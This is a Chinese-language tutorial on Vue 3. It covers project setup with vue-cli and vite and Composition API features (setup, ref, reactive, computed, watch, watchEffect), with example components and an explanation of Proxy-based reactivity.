官方文档:https://cli.vuejs.org/zh/guide/creating-a-project.html#vue-create
## 查看@vue/cli版本,确保@vue/cli版本在4.5.0以上
vue --version
## 安装或者升级你的@vue/cli
npm install -g @vue/cli
## 创建
vue create vue_test
## 启动
cd vue_test
npm run serve
1.2使用 vite 创建
官方文档:https://v3.cn.vuejs.org/guide/installation.html#vite
vite官网:https://vitejs.cn
- 什么是vite?—— 新一代前端构建工具。
- 优势如下:
- 开发环境中,无需打包操作,可快速的冷启动。
- 轻量快速的热重载(HMR)。
- 真正的按需编译,不再等待整个应用编译完成。
## 创建工程 npm init vite-app <project-name> ## 进入工程目录 cd <project-name> ## 安装依赖 npm install ## 运行 npm run dev
src分析工程结构
//引入的不再是Vue构造函数了,引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'
//创建应用实例对象——app(类似于之前Vue2中的vm,但app比vm更“轻”)
const app = createApp(App)
//挂载
app.mount('#app')
2.常用 Composition API
2.1拉开序幕的setup
- 理解:Vue3.0中一个新的配置项,值为一个函数。
- setup是所有Composition API(组合API)“ 表演的舞台 ”。
- 组件中所用到的:数据、方法等等,均要配置在setup中。
- setup函数的两种返回值:
- 若返回一个对象,则对象中的属性、方法, 在模板中均可以直接使用。(重点关注!)
- 若返回一个渲染函数:则可以自定义渲染内容。(了解)
- 注意点:
- 尽量不要与Vue2.x配置混用
- Vue2.x配置(data、methos、computed...)中可以访问到setup中的属性、方法。
- 但在setup中不能访问到Vue2.x配置(data、methos、computed...)。
- 如果有重名, setup优先。
- setup不能是一个async函数,因为返回值不再是return的对象, 而是promise, 模板看不到return对象中的属性。(后期也可以返回一个Promise实例,但需要Suspense和异步组件的配合)
- 尽量不要与Vue2.x配置混用
App.vue
<template> <h1>个人信息</h1> <h2>姓名:{{name}}</h2> <h2>年龄:{{age}}</h2> <button @click="sayHello">自我介绍</button> </template> <script> export default { name: 'App', setup(){ //数据 let name='张三' let age=18 //方法 function sayHello() { alert(`我叫${name},我${age}岁了,你好啊`) } return{ name, age, sayHello } } } </script>
2.2ref函数
- 作用: 定义一个响应式的数据
- 语法:
const xxx = ref(initValue)- 创建一个包含响应式数据的引用对象(reference对象,简称ref对象)。
- JS中操作数据:
xxx.value - 模板中读取数据: 不需要.value,直接:
<div></div>
- 备注:
- 接收的数据可以是:基本类型、也可以是对象类型。
- 基本类型的数据:响应式依然是靠
Object.defineProperty()的get与set完成的。 - 对象类型的数据:内部 “ 求助 ” 了Vue3.0中的一个新函数——
reactive函数。
App.vue
<template> <h1>个人信息</h1> <h2>姓名:{{name}}</h2> <h2>年龄:{{age}}</h2> <h3>工作种类:{{job.type}}</h3> <h3>工作薪水:{{job.salary}}</h3> <button @click="changeInfo">修改个人信息</button> </template> <script> import {ref} from 'vue' export default { name: 'App', setup(){ //数据 let name=ref('张三') let age=ref(18) let job=ref({ type:'前端工程师', salary:'30K' }) //方法 function changeInfo(){ name.value = '李四' age.value = 19.5 job.value.type='UI设计师' job.value.salary='60K' console.log(name,age) } return{ name, age, job, changeInfo } } } </script>
2.3reactive函数
- 作用: 定义一个对象类型的响应式数据(基本类型不要用它,要用
ref函数) - 语法:
const 代理对象= reactive(源对象)接收一个对象(或数组),返回一个代理对象(Proxy的实例对象,简称proxy对象) - reactive定义的响应式数据是“深层次的”。
- 内部基于 ES6 的 Proxy 实现,通过代理对象操作源对象内部数据进行操作。
App.vue
<template> <h1>个人信息</h1> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <h3>工作种类:{{person.job.type}}</h3> <h3>工作薪水:{{person.job.salary}}</h3> <h3>爱好:{{person.hobby}}</h3> <h4>测试数据c:{{person.job.a.b.c}}</h4> <button @click="changeInfo">修改个人信息</button> </template> <script> import {reactive} from 'vue' export default { name: 'App', setup(){ //数据 /* let name=ref('张三') let age=ref(18) let job=reactive({ type:'前端工程师', salary:'30K', a:{ b:{ c:666 } } }) let hobby=reactive(['抽烟','喝酒','烫头']) */ let person=reactive({ name:'张三', age:18, job:{ type:'前端工程师', salary:'30K', a:{ b:{ c:666 } } }, hobby:['抽烟','喝酒','烫头'] }) //方法 function changeInfo(){ person.name = '李四' person.age = 19.5 person.job.type='UI设计师' person.job.salary='60K' person.job.a.b.c=999 person.hobby[0]='学习' console.log(person.name,person.age) } return{ person, changeInfo } } } </script> <style> #app { font-family: Avenir, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-align: center; color: #2c3e50; margin-top: 60px; } </style>
2.4Vue3.0中的响应式原理
vue2.x的响应式
-
实现原理:
-
对象类型:通过
Object.defineProperty()对属性的读取、修改进行拦截(数据劫持)。 -
数组类型:通过重写更新数组的一系列方法来实现拦截。(对数组的变更方法进行了包裹)。
-
Object.defineProperty(data, 'count', {
get () {},
set () {}
})
-
存在问题:
- 新增属性、删除属性, 界面不会更新。
- 直接通过下标修改数组, 界面不会自动更新。
Vue3.0的响应式
-
实现原理:
-
通过Proxy(代理): 拦截对象中任意属性的变化, 包括:属性值的读写、属性的添加、属性的删除等。
-
通过Reflect(反射): 对源对象的属性进行操作。
-
MDN文档中描述的Proxy与Reflect:
-
Proxy:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy
-
Reflect:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect
-
-
new Proxy(data, { // 拦截读取属性值 get (target, prop) { return Reflect.get(target, prop) }, // 拦截设置属性值或添加新属性 set (target, prop, value) { return Reflect.set(target, prop, value) }, // 拦截删除属性 deleteProperty (target, prop) { return Reflect.deleteProperty(target, prop) } }) proxy.name = 'tom'
2.5reactive对比ref
- 从定义数据角度对比:
- ref用来定义:基本类型数据。
- reactive用来定义:对象(或数组)类型数据。
- 备注:ref也可以用来定义对象(或数组)类型数据, 它内部会自动通过
reactive转为代理对象。
- 从原理角度对比:
- ref通过
Object.defineProperty()的get与set来实现响应式(数据劫持)。 - reactive通过使用Proxy来实现响应式(数据劫持), 并通过Reflect操作源对象内部的数据。
- ref通过
- 从使用角度对比:
- ref定义的数据:操作数据需要
.value,读取数据时模板中直接读取不需要.value。 - reactive定义的数据:操作数据与读取数据:均不需要
.value。
- ref定义的数据:操作数据需要
2.6setup的两个注意点
-
setup执行的时机
- 在beforeCreate之前执行一次,this是undefined。
-
setup的参数
- props:值为对象,包含:组件外部传递过来,且组件内部声明接收了的属性。
- context:上下文对象
- attrs: 值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性, 相当于
this.$attrs。 - slots: 收到的插槽内容, 相当于
this.$slots。 - emit: 分发自定义事件的函数, 相当于
this.$emit。
- attrs: 值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性, 相当于
App.vue
<template> <Demo @hello="showHelloMsg" msg="你好啊" school="杰马课堂"> <template v-slot:qwe> <span>尚硅谷</span> </template> </Demo> </template> <script> import Demo from './components/Demo' export default { name: 'App', components:{Demo}, setup(){ function showHelloMsg(value){ alert(`你好啊,你触发了hello事件,我收到的参数是:${value}!`) } return{ showHelloMsg } }, } </script>
Demo.vue
<template> <h1>个人信息</h1> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <button @click="test">测试触发一下Demo组件的hello事件</button> </template> <script> import {reactive} from 'vue' export default { name: 'Demo', props:['msg','school'], emits:['hello'],//告诉App我知道了你给我绑定了hello事件 /* beforeCreate(){ console.log('---beforeDestory---') }, */ setup(props,context){ //console.log('---setup---') //console.log('---setup---',props) //console.log('---context---',context) //console.log('---setup---',context.attrs)//详情见Vue2中的$attrs //console.log('---setup---',context.emit)//触发自定义事件的 console.log('---setup---',context.slots)//插槽 //数据 let person=reactive({ name:'张三', age:18, }) //方法 function test() { context.emit('hello',666) } return{ person, test } } } </script>
2.7计算属性与监视
1.computed函数
-
与Vue2.x中computed配置功能一致
App.vue
<template> <Demo></Demo> </template> <script> import Demo from './components/Demo' export default { name: 'App', components:{Demo}, } </script>
Demo.vue
<template> <h1>个人信息</h1> 姓:<input type="text" v-model="person.firstName"><br><br> 名:<input type="text" v-model="person.LastName"><br><br> 全名:<span>{{person.fullName}}</span><br> 全名: <input type="text" v-model="person.fullName"> </template> <script> import {reactive,computed} from 'vue' export default { name: 'Demo', /* computed:{ fullName(){ return this.person.firstName + this.person.LastName } }, */ setup(){ let person=reactive({ firstName:'张', LastName:'三' }) //方法 /* //计算属性--简写(没有考虑计算属性被修改的情况) person.fullName=computed(()=>{ return person.firstName+person.LastName }) */ //计算属性--完整写法(考虑读和写) person.fullName=computed({ get(){ return person.firstName+'-'+person.LastName }, set(value){ const nameArr=value.split('-') person.firstName=nameArr[0] person.LastName=nameArr[1] } }) return{ person, } } } </script>
2.watch函数
-
与Vue2.x中watch配置功能一致
-
两个小“坑”:
- 监视reactive定义的响应式数据时:oldValue无法正确获取、强制开启了深度监视(deep配置失效)。
- 监视reactive定义的响应式数据中某个属性时:deep配置有效。
监视ref定义的数据:
App.vue:
<template> <Demo></Demo> </template> <script> import Demo from './components/Demo' export default { name: 'App', components:{Demo}, } </script>
Demo.vue
<template> <h2>当前求和为:{{sum}}</h2> <button @click="sum++">点击+1</button><hr> <h2>当前的信息为:{{msg}}</h2> <button @click="msg+='!'">修改信息</button> </template> <script> import {ref,watch} from 'vue' export default { name: 'Demo', //Vue2写法 watch:{ /* //简单写法 sum(newValue,oldValue){ console.log('sum的值发生变化了',newValue,oldValue) } */ /* //完整写法 sum:{ Immediate:true,//立即监视 deep:true, handler(newValue,oldValue){ console.log('sum的值发生变化了',newValue,oldValue) } } */ }, setup(){ let sum=ref(0) let msg=ref('你好啊') //情况一:监视ref所定义的一个响应式数据 watch(sum,(newValue,oldValue)=>{ console.log('sum的值发生变化了',newValue,oldValue) },{immediate:true,deep:true}) //情况二:监视ref所定义的多个响应式数据 /* watch([sum,msg],(newValue,oldValue)=>{ console.log('sum或msg的值发生变化了',newValue,oldValue) }) */ return{ sum, msg } } } </script>
监视reactive定义的数据
Demo.vue
<template> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <h2>薪资:{{person.job.j1.salary}}K</h2> <button @click="person.name+='~'">修改姓名</button> <button @click="person.age--">降低年龄</button> <button @click="person.job.j1.salary++">增长薪资</button> </template> <script> import {reactive,watch} from 'vue' export default { name: 'Demo', setup(){ let person=reactive({ name:'张三', age:88, job:{ j1:{ salary:20 } } }) //监视reactive所定义的一个响应式数据的全部属性 注意:此处无法正确的获取oldValue /* watch(person,(newValue,oldValue)=>{ console.log('person变化了',newValue,oldValue) },{deep:false})//此处的deep配置无效 */ /* //监视reactive所定义的一个响应式数据中的某个属性 watch(()=>person.age,(newValue,oldValue)=>{ console.log('person的age变化了',newValue,oldValue) },{deep:false}) */ //监视reactive所定义的一个响应式数据中的某些属性 watch([()=>person.age,()=>person.name],(newValue,oldValue)=>{ console.log('person的age变化了',newValue,oldValue) },{deep:false}) //特殊情况 watch(()=>person.job,(newValue,oldValue)=>{ console.log('person的job变化了',newValue,oldValue) },{deep:true}) return{ person } } } </script>
3.watchEffect函数
-
watch的套路是:既要指明监视的属性,也要指明监视的回调。
-
watchEffect的套路是:不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性。
-
watchEffect有点像computed:
- 但computed注重的计算出来的值(回调函数的返回值),所以必须要写返回值。
- 而watchEffect更注重的是过程(回调函数的函数体),所以不用写返回值。
//watchEffect所指定的回调中用到的数据只要发生变化,则直接重新执行回调。
watchEffect(()=>{
const x1 = sum.value
const x2 = person.age
console.log('watchEffect配置的回调执行了')
})
完整代码:
Demo.vue
<template> <h2>当前求和为:{{sum}}</h2> <button @click="sum++">点击+1</button><hr> <h2>当前的信息为:{{msg}}</h2> <button @click="msg+='!'">修改信息</button> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <h2>薪资:{{person.job.j1.salary}}K</h2> <button @click="person.name+='~'">修改姓名</button> <button @click="person.age--">降低年龄</button> <button @click="person.job.j1.salary++">增长薪资</button> </template> <script> // eslint-disable-next-line no-unused-vars import {reactive,ref,watch,watchEffect} from 'vue' export default { name: 'Demo', setup(){ let sum=ref(0) let msg=ref('你好啊') let person=reactive({ name:'张三', age:88, job:{ j1:{ salary:20 } } }) /* watch(sum,(newValue,oldValue)=>{ console.log('sum变化了',newValue,oldValue) },{}) */ watchEffect(()=>{ // eslint-disable-next-line no-unused-vars const x1=sum.value // eslint-disable-next-line no-unused-vars const x2=person.job.j1.salary console.log('watchEffect所指定的回调执行了') }) return{ sum, msg, person, } } } </script>


浙公网安备 33010602011771号